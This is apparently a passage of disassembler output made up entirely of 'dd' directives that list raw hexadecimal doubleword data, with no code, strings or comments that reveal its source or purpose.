		dd 31B5B1ADh, 5ECE9550h, 4D652672h, 977C02FBh, 545FDBE1h
		dd 0D4080876h, 15DA1C30h, 0D0674911h, 2C2CD02h,	0D7611B33h
		dd 0E8778950h, 7C7F9A4Dh, 4A18C216h, 0D3055B07h, 4EC6E3AAh
		dd 687B20AEh, 5EA916A9h, 1AC3BBAh, 0EBD2C665h, 76AFAF1Fh
		dd 0F781C07Fh, 4824669Fh, 15027637h, 55F0E7A8h,	0B6A63B6Fh
		dd 6EF9BE81h, 72207721h, 405A77DBh, 6B123808h, 82EF7A35h
		dd 4DF802DCh, 0F0247095h, 8E424DF9h, 0A07EA13h,	3CE80291h
		dd 6FB73D1Eh, 733FE5C0h, 66A97B4Ah, 0C1850841h,	0FD1479E9h
		dd 1619508Fh, 31D760F3h
		dd 12C2BE80h, 0C48D70Ch, 890DA2B4h, 1695F348h, 0BED23A76h
		dd 0A761796Bh, 58129DCh, 74A8138Fh, 37F17Fh, 0A1685F07h
		dd 13B56053h, 0B7D85155h, 58224070h, 717BA2BDh,	0EFB20391h
		dd 0EE66D481h, 906D40FFh, 604A81B8h, 5C816391h,	0B86130E5h
		dd 237CFEF5h, 6484698Eh, 58B78336h, 114B6DC3h, 68F88412h
		dd 0AAF2452Dh, 0DABFE198h, 294BA0CBh, 16FD9584h, 3B9BB164h
		dd 0EAD8D6FCh, 0B6D3328Ah, 1465BDEh, 1D817AE1h,	0C9C22FC5h
		dd 0B8725569h, 0C827F127h, 0FCF8C65Fh, 0B8BA00D2h, 1BBD45A4h
		dd 7016C105h, 768421C8h, 8CEF0717h, 0D7B1C7E2h,	484395C2h
		dd 176A6808h, 2D2F6B7Dh, 5AEC6E64h, 0B0045789h,	8045FCA3h
		dd 76B06852h, 5A05373Bh, 5BF5E9FCh, 0E99CEC49h,	0AE6AF52Eh
		dd 0C1367580h, 123DBF61h, 4DD787Bh, 0B26B2EC2h,	276809DAh
		dd 0F3E5748h, 72602A97h, 8169500h, 0BF5817Bh, 37BB76C0h
		dd 68052DDCh, 265A4F50h, 0A755E562h, 94E9F6D1h,	98D69DA3h
		dd 767D84C9h, 797CAD13h, 0C8E6332Fh, 9F5507ADh,	0CEA2665Eh
		dd 285C319Ch, 775DCDE9h, 0F7725E5h, 10776129h, 4BFDBE53h
		dd 0A292B9FEh, 0A9158421h, 41076154h, 0B411A6D7h, 4E43F810h
		dd 0E9F0EBA8h, 799F6CCBh, 4E0782FEh, 0D9607D69h, 1C097EA0h
		dd 7848E944h, 0F5B12512h, 6AF428D8h, 338709Fh, 6866F92Ch
		dd 0DAD948DEh, 1F8C6BE3h, 60F2BFC1h, 5C7402B7h,	30AC00C3h
		dd 0B30053D8h, 1B4503Ah, 2F29EC80h, 0E7ABFCE9h,	0AD70DC01h
		dd 6E8F652Fh, 0D12FD189h, 0A4FEDC83h, 0BF1435F6h, 31BC4E1Ch
		dd 0FB61C297h, 0D9095Fh, 1744D588h, 3EC39043h, 7A2D7DD8h
		dd 8A01E74h, 4E141CD0h,	0B126B8F6h, 0BA2F254Ch,	0AE4D7C04h
		dd 0D1506233h, 0C86865FBh, 7A076094h, 0E560BE37h, 0BFAA942Fh
		dd 0CE0B88ECh, 6C56FEFCh, 4FFDE978h, 11E53141h,	828A06B1h
		dd 9E2FDF1Dh, 0ABE26DE4h, 17926FBDh, 3E122D69h,	0CCBE1816h
		dd 0F25C73CDh, 653E8FEAh, 0D1FF3602h, 4B297BDh,	0E9FCF5AFh
		dd 2C037FAFh, 9906CA80h, 0EAD83CE2h, 14C4F2A2h,	0EBD42824h
		dd 648CC52h, 0ADCC4F7Dh, 0A55BCFC2h, 0B3BA2DB7h, 11B50515h
		dd 0F0FBEF28h, 0E92F88A6h, 0DD160B55h, 5C73440Eh, 4DAE747h
		dd 1FCE912h, 0EBA554FCh, 30E90528h, 0C11D34FAh,	803B50CEh
		dd 11077C27h, 0D1240226h, 0D7FC0668h, 82B55898h, 0C693601h
		dd 21D6454h, 0E5824BD4h, 60B11689h, 2515F530h, 2770DF7Fh
		dd 5255D4Ch, 0FF6F9D2Dh, 6885A4ACh, 0CBE64475h,	0C4BB13FBh
		dd 0DCB6EAB4h, 0EEEE9B84h, 0B7E1C9C9h, 0C6025A7Dh, 2A957C4Dh
		dd 276E1DFh, 87846038h,	8EE5EFD6h, 2D64BD3Bh, 0A270CBC7h
		dd 11E5E83h, 0A658E05h,	0D9B17A3Ch, 816E006Fh, 677BE4EBh
		dd 15684D09h, 5AE3C626h, 250EE9B9h, 0A290FD31h,	7EBCD9E9h
		dd 56B2B00Bh, 0C6C4163Fh, 0C60054E0h, 708D4A3Bh, 753CE29h
		dd 0FA2263BBh, 0B8E3E36Eh, 43124BB8h, 25777EC0h, 5AF728FEh
		dd 0B543BBDBh, 14738B45h, 0D05BDEACh, 252F9411h, 0F3DD90C3h
		dd 728F12D2h, 969EAC8Bh, 0E2E8D004h, 518458BCh,	208581B1h
		dd 17A4041Dh, 0B6521F66h, 0B1F51DCEh, 3D3B322h,	243B795Ch
		dd 61FC0E52h, 380D2168h, 0BD8C15Dh, 122A7F76h, 676E096Eh
		dd 468B2474h, 58D65C35h, 0FE7DFABEh, 26B505Dh, 19AB05A4h
		dd 57ECD75Ah, 3FE90C80h, 0A0520D4Fh, 2E1C5FFh, 382D1507h
		dd 0A10BC140h, 78EB8080h, 0C9CA7C6Fh, 0AA74D110h, 0A2640E3Ch
		dd 5C3FDE74h, 0E9910EB5h, 25ABB5F2h, 20845FC1h,	1061BF5Bh
		dd 4903AF7Bh, 3E6A70E7h, 0CC1662Dh, 764606F1h, 4E59F341h
		dd 82D81C7Fh, 7E4B6A4h,	0E44D6B7Dh, 0E87D0801h,	0E38B3E63h
		dd 0F366A84Eh, 5DD7264Ch, 0F20D2808h, 0A60B0032h, 5B205F21h
		dd 55D8E68h, 15A8B53Ch,	3EB19B1h, 55F0B252h, 983DB565h
		dd 0B9167102h, 0F47718B4h, 3025C251h, 3A39858h,	4306D2F1h
		dd 5EC9E078h, 116A0508h, 0AA62F768h, 16583C31h,	73FE48A7h
		dd 94BB5613h, 0A48C164Bh, 0EB25E929h, 0E4FCA018h, 568BF6Ch
		dd 1B0793BDh, 0FE14AF20h, 9EB93EA4h, 0DD4B0A2Eh, 0B0C9F85Bh
		dd 68970244h, 0FD01180Bh, 8016162h, 810AE4E9h, 61C02D82h
		dd 6ED40F7Dh, 1385264Ah, 50CC2561h, 8C040D82h, 6A061627h
		dd 970CF1B0h, 0FD401058h, 0ECD1680h, 0ACF60E66h, 0E90AEDE0h
		dd 28B19C28h, 7570933Bh, 1E6350A4h, 0D36EEC69h,	2921F0DEh
		dd 0C96A80A6h, 8908DE2Bh, 0A85A12AFh, 1E3C1DF6h, 4BFE1296h
		dd 2FF259D4h, 142A6198h, 0F53EF430h, 87B85BA2h,	0EFA7FD13h
		dd 50828027h, 98F39415h, 8F4C9505h, 9D0AA208h, 51F0263h
		dd 277370Fh, 3043424h, 2E92AC2Ch, 0A4E9C5F5h, 0F6B50026h
		dd 0D0CEFEDEh, 4C8FE654h, 0CBC68019h, 0DEC18606h, 0FD6EEE1h
		dd 0C85B6666h, 10570B2Fh, 137CB9EEh, 0F80DE43Fh, 54880090h
		dd 0E7D162A6h, 817347h,	285D4F4Eh, 1E51BA52h, 0E20481F5h
		dd 7C27168Fh, 83F4FD44h, 67DA95C5h, 0C6673AF6h,	0F572CF69h
		dd 90F9776Ch, 0F6BF89A2h, 0D2DCDB93h, 0F25F3193h, 55F5319Dh
		dd 2A5FF859h, 351E080h,	0BB2B076Bh, 0AB01B09Fh,	6D63E5Ah
		dd 55DAF709h, 565B0C82h, 1D398668h, 582D930Ah, 13280605h
		dd 0AF2FC79Dh, 4CBDC7C5h, 0FA2017BFh, 313C3DEEh, 0D2D0EAD5h
		dd 0D5BB5595h, 0E9EA90F2h, 10B655Ch, 0BE0F03D7h, 0EBF92D1Fh
		dd 92BF3F90h, 5C744069h, 0FA3577h, 4839905Ah, 780C060Dh
		dd 1A5244EBh, 13587B3Eh, 0C5C3E903h, 7BB1831Ah,	72B344C1h
		dd 271D0541h, 83AF04F6h, 98FA5031h, 6E96C270h, 62357125h
		dd 97D6A49h, 8998D7A2h,	0FD8225C5h, 378D7383h, 0ACB20E1Fh
		dd 87278F9Ah, 0ED375BE6h, 29AF6BEFh, 0FF390B61h, 856F8EB0h
		dd 4331DD97h, 3584D30Eh, 23B0F109h, 0C1D8F7E1h,	0E7507A6h
		dd 0C2C1A5F8h, 0E5D1451Dh, 7127FFE3h, 54A2DD5Ch, 6757487Fh
		dd 70DC2798h, 0B16B8718h, 0FDADD361h, 1F2C88F4h, 1019EF7Dh
		dd 7EEF3953h, 0B7977A2Ah, 176FF605h, 0BEA4BF2h,	3F85B68h
		dd 3B2DB120h, 3393142Ch, 25C2F39Dh, 695F5156h, 215FA2D2h
		dd 0B912E3E2h, 8FBFF222h, 0A540A4C2h, 5066AA12h, 68580B39h
		dd 6D3A1138h, 0E877B705h, 250ED41Eh, 0BB1B808Ch, 25D54D8Ah
		dd 97E25328h, 0B8AC6671h, 68173B9Ch, 70E19E40h,	20E9357Ch
		dd 0FBE8E401h, 0AC976E9Eh, 0E97B07A1h, 8BAAB4A3h, 93A94AB1h
		dd 798C1311h, 4B305B5Ah, 7DF03598h, 45642F50h, 2A0383C9h
		dd 0FF008A2Dh, 6EC92E90h, 12EBB633h, 56E99803h,	0FB38618Eh
		dd 74FB5A30h, 87AD8238h, 0BB00E7DEh, 0EBA641Fh,	0D1D30BF7h
		dd 9D8443E3h, 6B82DD94h, 0F330AEE5h, 8026529Fh,	180580DFh
		dd 7D38E94Ch, 4B3CCBh, 0D3731B55h, 5288F836h, 0D8C2FA0Dh
		dd 925930FFh, 0FB9CF5ADh, 89256CB0h, 33546664h,	0CB494020h
		dd 3A0465B9h, 0D4FC6189h, 0F371B790h, 26A06887h, 789EFF0Bh
		dd 82324595h, 4A16186Ah, 44ABA6C0h, 0F761090Bh,	3B4B80DDh
		dd 0BAD4E0A3h, 3BF3B046h, 750569DCh, 0FDF8CFE9h, 96083C88h
		dd 450E31Eh, 4C6A0BDEh,	0EB22000Eh, 884EE2Bh, 0F286E912h
		dd 592F891Dh, 47544B59h, 48CE9C34h, 0D2FB894Fh,	212E197Eh
		dd 13C33078h, 45BF3CE9h, 8288407Bh, 55842FCh, 25F5B448h
		dd 953F5827h, 5C931B67h, 95B11EFCh, 43A32EB0h, 9D873904h
		dd 4F3AFCB8h, 57B2FAECh, 1A340BD4h, 0A8EAB9BAh,	8099E55h
		dd 2826BA27h, 0FA0EF217h
		dd 0E0202F2Dh, 6D2558E3h, 4467480Bh, 4010D010h,	5DB8EAD9h
		dd 1338BD3Eh, 8D6645F2h, 19D780AFh, 41E60056h, 7A0CB81h
		dd 0F7257D1Dh, 0E0C977DBh, 0C0DC7904h, 0E970EB80h, 88A54F60h
		dd 3C6068CBh, 0BD555AE1h, 59F4F4EEh, 56046A45h,	0EFCC5BE9h
		dd 328414B2h, 71EC401Dh, 90D5972h, 151A49D2h, 0FBF0B77h
		dd 757A428Ah, 194F4020h, 53830438h, 0FC5FE946h,	5FBF4BAEh
		dd 0B531054Dh, 251B815h, 0E945830Fh, 13ED451h, 7DD16857h
		dd 9C36088h, 9F3B044h, 35BD428Eh, 7F1DF280h, 5CBFD263h
		dd 48E30988h, 6816294Eh, 7DB7302Ah, 0EF8B9D27h,	40718F75h
		dd 4DAB652h, 97F0E067h,	0B1254994h, 301DCE1h, 0E915B353h
		dd 0FC0B34A2h, 672688FEh, 22075525h, 7CF1BBF9h,	0FB8A6BAh
		dd 88515082h, 1D1174D9h, 0C9C79F53h, 88201269h,	0F5C38070h
		dd 0B4E02E9Dh, 0CDE982EDh, 0E54577B7h, 39571AB3h, 0C527E891h
		dd 66823FDh, 72F19F81h,	8A30419Dh, 0EF3B12B3h, 1E16AE6Bh
		dd 0B87307BFh, 14723620h, 20C70748h, 5FF495E8h,	62A059E4h
		dd 66C49387h, 8F628F17h, 0C2F31032h, 1CBB6086h,	7594EA4h
		dd 8B77094Fh, 95421EDFh, 1317AF65h, 9585A45h, 104CB014h
		dd 0B77787A8h, 2958CD76h, 9FB9DEBh, 84EFC393h, 9904EB0Bh
		dd 1C8A4CE8h, 6A80500h,	0E80172DCh, 8816E90h, 61A33129h
		dd 7BF86A68h, 2EE5E9F1h, 0FC5E76C2h, 365C5205h,	0A502572Dh
		dd 25E4AE9h, 0C8C37625h, 5FCB285Bh, 2A0CE133h, 64077366h
		dd 127D4252h, 5D74AE8h,	8A30AE0Fh, 0B2502C7Bh, 0CBF2EC0Ah
		dd 78C9583Bh, 0C728094Bh, 7206467h, 0FF0603C1h,	0E7E9D047h
		dd 0BE1B216h, 3CD811DDh, 0B7B92600h, 0E9182BCBh, 0E2511CAAh
		dd 2A451EBBh, 3C78C92Fh, 0B9009B5Ah, 0F7606569h, 973168D7h
		dd 13C83FB0h, 0A24F9124h, 954CF302h, 2D00752Ah,	76240E8h
		dd 3D591AC2h, 14B5487Fh, 4D3B2FC3h, 1E892060h, 600B009Ah
		dd 0E51BC73Dh, 82F72D4Ah, 0A00932FEh, 1236EB92h, 2D62B06Fh
		dd 0C9FC7BD2h, 66C3279h, 0D3221C4Eh, 0BFE60AEAh, 162D128Dh
		dd 7E0BCB0Eh, 6BF4D655h, 244E960Fh, 7CF40173h, 5B14400Ah
		dd 1C8B5817h, 0BC4F71DFh, 13F6C545h, 0AB3B988Dh, 0F7499D5Fh
		dd 0FA4AFA7Ah, 0A8285FC6h, 8DFC75EBh, 0B47F7759h, 0B08439A9h
		dd 62BF9736h, 7E5F7A7Ch, 0C3E27AA0h, 0A2BF201h,	0C7DC7050h
		dd 0AFF5D902h, 0D593E999h, 10901FBh, 0E53477EFh, 5E363349h
		dd 0E65BF72Bh, 1D75102Bh, 0AF778C69h, 91B965C7h, 429F7BECh
		dd 42AA21DCh, 0F62526DCh, 0CECF80C4h, 0E94A6867h, 59AB4E27h
		dd 202DB82Eh, 4D7D2A18h, 54B880h, 2575EC6Bh, 723F391Bh
		dd 8D18B998h, 274A2F4Fh, 213AC506h, 7CACC8DDh, 0DF3E4469h
		dd 92F14787h, 7C5725C1h, 0BF7B623Bh, 24E3D809h,	2FDEF75Fh
		dd 0D7910FDh, 0C7F19516h, 51DF6841h, 678BA451h,	794CE32Bh
		dd 7C385E2Dh, 4687271h,	354F1C68h, 5F0621B7h, 0C10F672Dh
		dd 51EC08A0h, 928730BFh, 8BC89D0Eh, 6C98FA2Dh, 0D55048h
		dd 940D56C5h, 498B6816h, 0DE81FB02h, 6F6FB57Ah,	0F84DBFF4h
		dd 346C7537h, 0C0629BBDh, 0C18008C3h, 0CF069367h, 257FEF6Fh
		dd 9D8337F1h, 3D063287h, 0EE23B934h, 0D4EE2504h, 12F766FDh
		dd 0ECFEEFC3h, 771280D8h, 41295B5Eh, 7421795Ch,	3CC9DA4Ah
		dd 0D22F6420h, 389E44B8h, 64AC16BAh, 3DF90D02h,	0E90F1F6Ch
		dd 4B3C61EEh, 139E8B70h, 403B5273h, 94F68101h, 6809B309h
		dd 0C43D4FE9h, 0E0554BB1h, 2C130B8Bh, 71AB294Eh, 0AD33C0E8h
		dd 0EF81C077h, 7C3B199Bh, 605B0C6Ah, 0E939943Dh, 33A8DFD4h
		dd 100FC3C4h, 173510D3h, 3374BA4Ah, 57E33CEAh, 6B6A54BDh
		dd 0FE297700h, 0F150FAE9h, 653C35A6h, 6A0E261Fh, 22EA9D16h
		dd 2013C5D6h, 71F9E5BEh, 0BBEED5DDh, 38680C3Ch,	0B72F251Dh
		dd 85FE7FE2h, 65B25h, 0B050E5D0h, 0C55F303Eh, 0E8F1E12Dh
		dd 0AEEC9C6Eh, 55FFE627h, 0B24FC4CCh, 0B6B32B00h, 255BD888h
		dd 0CA7FC8FEh, 47C15F5Fh, 0C233052h, 0A184824h,	0FEC0DF12h
		dd 2D5BDD28h, 1CDEEA20h, 78C280C0h, 6E226C0h, 0A9AD139Fh
		dd 42D501A2h, 0C8895822h, 0AAEFA293h, 298BBE5Fh, 88A3D1B2h
		dd 5903138Dh, 0CA574941h, 689DA2C8h, 3FDA5607h,	0F11A247Bh
		dd 0F5006EE5h, 53EDD05Ah, 3034B31Ah, 0A5890DA4h, 0BE4E27Fh
		dd 54F4EB80h, 0CA82C1Ah, 0E5A97B23h, 4407220Ah,	202DD11h
		dd 0D7FEBBF9h, 6775E262h, 0F0750929h, 0FCF7A720h, 0ECE5224Dh
		dd 52CB2AE2h, 0FD655F21h, 0ED6ADFA5h, 9E2F386Eh, 9D1FE6C5h
		dd 271D9D48h, 556B5C9Eh, 197CB6A9h, 974B6780h, 9680E913h
		dd 0D3F60E5Ah, 2062F3C0h, 511F5BDAh, 0EADFE2B5h, 0D5A37338h
		dd 24F808ADh, 76F49C3Eh, 0F821E312h, 1AA73BC2h,	97A93477h
		dd 3BC56C76h, 0E0BB41D2h, 0F4465A99h, 408C4A49h, 5B1DC50Bh
		dd 0CC13EE7h, 56AE0AACh, 0ADB4D87Bh, 313FCB1Dh,	80E1ED8Eh
		dd 0B85022D5h, 0DA21132Ah, 1384BC40h, 9DEA1524h, 34723FB6h
		dd 8EBE00BAh, 1A4C5B51h, 41D84538h, 0A4DC2C2Bh,	1612E8E3h
		dd 1C0587A0h, 0EC284C20h, 0E141C535h, 3C2B7E58h, 0C7305C25h
		dd 6D94206Fh, 0B896887h, 0B671DF09h, 0E943AEE8h, 86E9FD68h
		dd 67F1E202h, 41D52110h, 9568CB3Bh, 0B6FA8813h,	9D7E1015h
		dd 0B7164548h, 0C921B9DEh, 0E7872287h, 0A57F53DCh, 96750E02h
		dd 0F444AD06h, 63D594BDh, 0FF9DE568h, 8410F6DBh, 0EB077B34h
		dd 7D956983h, 0B1FCF8B4h, 38D068A0h, 0C418469Dh, 5B4A7DCh
		dd 3080964Eh, 1F040506h, 0CC8E6FDBh, 0C2496061h, 0FAE5EBFh
		dd 0D7A65156h, 0F31E7921h, 52462D14h, 410E3D1h,	6861914Eh
		dd 3576C009h, 1C123841h, 0C0AA896Ah, 90123E1Ch,	4364E48h
		dd 1617239Ah, 6C5154C0h, 0E93C1EA8h, 0CCDF253Eh, 0B2521217h
		dd 120AE86Bh, 0FAACE304h, 41EEED74h, 0B82A1EBAh, 2BA3ECEh
		dd 0E9E8280Fh, 0D731EA39h, 0DE75A8C2h, 0CFE9502Ch, 21BE6F4Fh
		dd 2A06BAA0h, 939F07A3h, 2D77E0B6h, 0CC65D99Dh,	652EE95Bh
		dd 0DDC98709h, 0B7090CD1h, 0C665A0EBh, 58CF56DEh, 0BB201441h
		dd 543B74D4h, 68275792h, 989AD8BAh, 0CF3D4D78h,	0E31ADF16h
		dd 0E220D330h, 80FEF1C8h, 486005E8h, 3EAF2D09h,	2182289Dh
		dd 0DF871AC9h, 55860643h, 6FEB5717h, 0D74005DBh, 16E243Eh
		dd 0B1C701C1h, 600F1367h, 1AB59E82h, 23D1D7D7h,	18C3BE8Bh
		dd 4E572924h, 0B4E7FC20h, 424924FAh, 0A067E9C2h, 0BF0971C4h
		dd 5061D27h, 0C4FE5E46h, 1854B916h, 0EE29B921h,	0F00618E6h
		dd 47380C13h, 0E967F209h, 0F0C4ABDBh, 8465970Eh, 47B0DD27h
		dd 0CCA83E8Ah, 4DBE56E1h, 0E9DE236Fh, 5A0F2F8Ch, 0ACC01362h
		dd 823F357Ah, 0A65FFB72h, 0DAE19AFCh, 51B82F88h, 5EF784h
		dd 0BB0886B9h, 9B83Ah, 14CEDB84h, 3FE9F929h, 0EB0B74E9h
		dd 0CDC38019h, 8835907h, 2327E915h, 58F48F4Bh, 68B14029h
		dd 23E9950h, 0E2D1C4A8h, 0A6CF60BFh, 4027C410h,	0F09A4908h
		dd 498B846h, 0E438BBC9h, 6399F80Fh, 0B4446212h,	0CCA09FC7h
		dd 0B5B46BA3h, 0D8E99760h, 5B5E8F9Ah, 0AB8C74ABh, 8FD6F2B7h
		dd 0E9F701F0h, 2B166856h, 4CCF6C34h, 0D4B4EA44h, 0E95880ECh
		dd 0D197D41Bh, 3505C924h, 0EB28FB6Dh, 2082568h,	5649BBDBh
		dd 0D6665981h, 0A08821F6h, 0B025178Eh, 5584D55h, 0FB771D23h
		dd 875F7140h, 0A0F8015Ch, 0D3AA685h, 34E91F1Eh,	55F03F8Dh
		dd 6B2916EAh, 0DA82Eh
		dd 14DF1FFCh, 9E79C7E9h, 46C48474h, 24C1C7AAh, 2FB7A727h
		dd 5E61D45Ch, 17A34595h, 766B92Eh, 599F511Fh, 0C8D6673Fh
		dd 98BA97BFh, 4E69BDC7h, 0C7B15618h, 4896C055h,	524B6E82h
		dd 58D03DD9h, 0C12C5B1Fh, 2FD3F715h, 54044EBDh,	0EA0FE9F0h
		dd 0C2292582h, 4C24C0C5h, 89DF822Bh, 8BD165DBh,	30FF1A68h
		dd 835B0B4Dh, 8872B1D8h, 8416CC4Ch, 530EC92Eh, 95E143C9h
		dd 17BE3A58h, 2A74EC06h, 0BA0EC883h, 0C900733h,	5F5E8E01h
		dd 95DAA655h, 90844A56h, 2F61CF8Fh, 3F61D4E9h, 4B32B899h
		dd 0E8633413h, 3BA1C1F7h, 204923F8h, 39189A62h,	46C72D88h
		dd 384C5518h, 7A1C440Ch, 0C8DE9F7Ch, 4CD86858h,	0E9E0F06Bh
		dd 9897E6F4h, 2F73FE4Fh, 99765A43h, 0E192CD10h,	0CCA085A4h
		dd 6EFC4E19h, 827DBA50h, 0BE275EF8h, 477198C4h,	0BE2C8C35h
		dd 7A4B2C06h, 0F4C0D694h, 7230E9A0h, 0CC2E332h,	0EC5C1242h
		dd 2C47F221h, 0D5A57604h, 9B680F65h, 3A65688h, 0D4F5814Dh
		dd 0BC1A0BDBh, 0E34CF8B1h, 121C7501h, 0FF1D9A76h, 97296198h
		dd 0FD62DBF4h, 13749062h, 0AFAA9139h, 7C128176h, 0C0C53805h
		dd 0BA3E3ACDh, 72BA2F24h, 7BDD504Ah, 58C38CBEh,	0F739923Eh
		dd 7BD6DCD0h, 8BB3B4C0h, 0B501EB80h, 43F5FDE2h,	487BF211h
		dd 0EEDAB365h, 317FFB98h, 6ACEBA69h, 87109E8Ah,	164D3BF3h
		dd 642463FCh, 0B1C3C80h, 2A097D29h, 7CD030Eh, 0B6A447EFh
		dd 0AE70B346h, 0E05E1625h, 2454C02Bh, 3EF5D94h,	210729C9h
		dd 6E80CBB3h, 514C36DAh, 69702EBh, 0DD5E433Fh, 60EEF9C1h
		dd 7239F634h, 0F03E2C4Bh, 0B29D2613h, 2E3BBB3Ah, 0C051B644h
		dd 62482A96h, 4625E90Eh, 0D716FDF7h, 8E0BE898h,	506A7C05h
		dd 0BCEE426h, 21EB9AF5h, 0B05DBE0Bh, 9C799BADh,	62526B21h
		dd 277969B5h, 0F8F6ADCDh, 7807827Dh, 7016095Eh,	0A8DF34E5h
		dd 0D32708A3h, 0E0791DFDh, 4AEE95Ah, 0BE53663Bh, 7D9FF6F0h
		dd 0F08E3426h, 5536E076h, 0B8F0EC75h, 452B5200h, 4AA92573h
		dd 0F00B4E84h, 91B1E277h, 504810E9h, 0FC3A16E9h, 0B471BCFEh
		dd 0B7A60DC1h, 5BDF62Bh, 87CF295Fh, 13065FFh, 322CBC1Fh
		dd 70C7E536h, 5004D730h, 0E80C1EB8h, 0AB74F4C7h, 0FE6AB700h
		dd 0EF2CC0CFh, 1F13B208h, 0C5A2FDA8h, 709B7E5Dh, 0EF6447E9h
		dd 8DAB4297h, 77AF459h,	2AEF2BE1h, 28E217CEh, 0C64C77FDh
		dd 4D0FE60Eh, 2BFB20ABh, 0A4FBF485h, 20FFA1EEh,	2813873Eh
		dd 0C11A2ECDh, 5F080522h, 134DCAABh, 2290F568h,	7BE61183h
		dd 0F1165E49h, 68A21807h, 1C738825h, 0EC603CDh,	17CC434h
		dd 8B710B5h, 0A1CBE913h, 0BDA77B82h, 0AB6A60C4h, 5C2909Ch
		dd 1D691713h, 0CD10EA29h, 575B2D08h, 0FE9D6714h, 0EFB25B99h
		dd 2AABB9F7h, 0BC602E35h, 0CD724BA4h, 0AD987F62h, 0D9A04EF4h
		dd 7FE4647h, 0D72A99B0h, 0CDF11F40h, 0E901D46Eh, 0A45CD025h
		dd 0E6023Dh, 48127210h,	61F60541h, 0DF00063Eh, 4E22F7E6h
		dd 0AE0CC113h, 2E7D3B7Fh, 874D4A4h, 29F14CCCh, 3FC2FA88h
		dd 317C0B7Ah, 0EFD48602h, 0A6AD2E3Fh, 0C7B45081h, 8C7FE128h
		dd 0CC4B3063h, 0E4804130h, 8FF9E7ACh, 0DCC777C2h, 802EC24h
		dd 0EC1E4568h, 954125DBh, 0F342E4F7h, 0DD2EE1D5h, 2BFBEDB9h
		dd 0E5BA0B00h, 954F4B6Eh, 2E0B1EDCh, 0EBB4FC35h, 1FC91077h
		dd 0E6DD829Fh, 13817665h, 0BF56C514h, 0A3FA5184h, 0DEE90B30h
		dd 68C2A01Ah, 5B2636BCh, 0C79F7165h, 0CC8000D8h, 6706CB87h
		dd 0C3F23B78h, 51852254h, 283BB576h, 585918EBh,	3168861Ch
		dd 84490629h, 35207B7h,	7F5862E4h, 0E539BA72h, 48C58EBDh
		dd 0D8037F86h, 76759BE9h, 99A4E9Dh, 0F5EC595Fh,	2DB2C520h
		dd 7782E0B5h, 0ED83EC88h, 6424F4EDh, 341224BFh,	0AE2F34BAh
		dd 4F7E3C8Ah, 201322h, 94505DCh, 68941401h, 7F273526h
		dd 5C1F7EC5h, 0CCA3E98Ah, 40D86AA5h, 0B5B6DE94h, 0DFEB8EF4h
		dd 73D252ACh, 7CD46241h, 0B4AAD3E3h, 6341AE96h,	0DEE3047Bh
		dd 332EA18h, 42520214h,	68D83000h, 0C77F6270h, 500D648h
		dd 0F1A553Bh, 6C5A0D38h, 0F040208Fh, 0E9E0DDC2h, 0DCA33E2Dh
		dd 0BD55401Ch, 7A270E1Eh, 0DFBF0BEDh, 0FA57F086h, 0DE25F913h
		dd 0E4C11701h, 0E02BB764h, 7D04F1B3h, 8987F5F6h, 680DB0FAh
		dd 51088525h, 2128016h,	0E8E92BC9h, 0FEE8E66Bh,	0D252C73Ch
		dd 23758895h, 0B5D44FB7h, 78F98737h, 52A4C123h,	2B28A912h
		dd 475D4990h, 77876F5h,	744BD1CDh, 1CD5E654h, 6C1698EAh
		dd 0D8BA2960h, 0E6AA9073h, 983F727Ch, 5E62E2BCh, 0B55EBD5Fh
		dd 883AD5C0h, 0F7012E1Dh, 68E78298h, 7006C2Fh, 0C0092018h
		dd 9E3BD30Ch, 0DF09294Ah, 80CF015Bh, 71150DAFh,	26058218h
		dd 0C8ED8059h, 7697FEF5h, 5E9D894h, 0E281AF9Eh,	6D72797Fh
		dd 962209ECh, 2DDC82E3h, 0AF063C6h, 5EEF820h, 224EF7BAh
		dd 0A4C1AA35h, 0EF047DB8h, 0E6934AE0h, 561AC6F5h, 0C64A63FAh
		dd 5926C0EEh, 544A2B68h, 1C40CF2h, 20ABA4CEh, 88873841h
		dd 0B9AB096Ch, 0F96B63F5h, 0AD3F7231h, 0EC6F78A9h, 6DA0985h
		dd 40ED57Bh, 4F49C3B9h,	0E167F03Bh, 370A8013h, 0DAF15F07h
		dd 315459E0h, 0D6CFE4F9h, 144B1608h, 5007485Eh,	0E9D43D4Eh
		dd 0DCBA6EE0h, 1364DD82h, 0BE877E60h, 5B9A57D0h, 9627F86Ah
		dd 6C90401h, 0C820BF4h,	0CC0D3073h, 60238B5Fh, 0D2F51B05h
		dd 0E191FB41h, 49740AADh, 795F0969h, 32D529A5h,	1FD56175h
		dd 49506800h, 83677C9Ch, 27F6E6CBh, 18E62D1Dh, 72BC2181h
		dd 6F3476AAh, 708322E0h, 5A2B24D7h, 617516B7h, 0AD63E9CBh
		dd 52CD6861h, 3D5EBDBAh, 0A159F889h, 20D3EFE6h,	170AD1E3h
		dd 2C148A3Fh, 65089EF2h, 92C281B7h, 6E282F95h, 24861414h
		dd 4F1B4717h, 7374F064h, 240B837h, 0F68D1B57h, 5DC0D331h
		dd 0E7BDBEB5h, 92A8874Dh, 0F031732Dh, 9ACD7213h, 0F8DD39BAh
		dd 0F1B5B04Bh, 292969C9h, 0E93F59F5h, 0B6582209h, 951B46B7h
		dd 2670925Eh, 489BA1Dh,	0B757FEC9h, 7468025h, 432D0822h
		dd 9517E53h, 0CA77D9BDh, 2DB1DEEFh, 8B6A2A5Eh, 3D4D4F03h
		dd 0C336D949h, 48448A3Eh, 4F0B4F8Bh, 4E57A231h,	0C60101B5h
		dd 35ED6A58h, 0B520A3C4h, 0C039E47Fh, 0C9CC2C5Fh, 19F737E9h
		dd 9C1BEC1h, 700349DCh,	0A09C8FB6h, 31DBC427h, 0FA6F9C90h
		dd 0BAA43A5Fh, 0C2AD5309h, 0F612B5D1h, 0D841AAF9h, 21E86857h
		dd 0BEF57A78h, 0A685B813h, 0D146F3EBh, 2F281386h, 49DE3BE8h
		dd 0A3223CA2h, 3874101Eh, 0A502B0C8h, 0C04DDD6Ah, 580FE701h
		dd 63153587h, 0A858B6B9h, 3B872A2Ah, 1D0505CBh,	0BEB837Bh
		dd 0E2D63A95h, 0C1AD79ADh, 3A97D9E9h, 5F8913B2h, 2F8DD210h
		dd 8A4AF794h, 0AA052903h, 0A387F174h, 3154DD7Ah, 24C53B23h
		dd 0BF4E2A9Ah, 685C2320h, 31024FD7h, 2AFB9FC9h,	9DA5918Ch
		dd 5AD77D68h, 41FD51B5h, 3A4021E9h, 15E02B34h, 0B5D1A668h
		dd 5F7465EAh, 4121515Ah, 6ECEC0E9h, 56ACD943h, 81AE85F2h
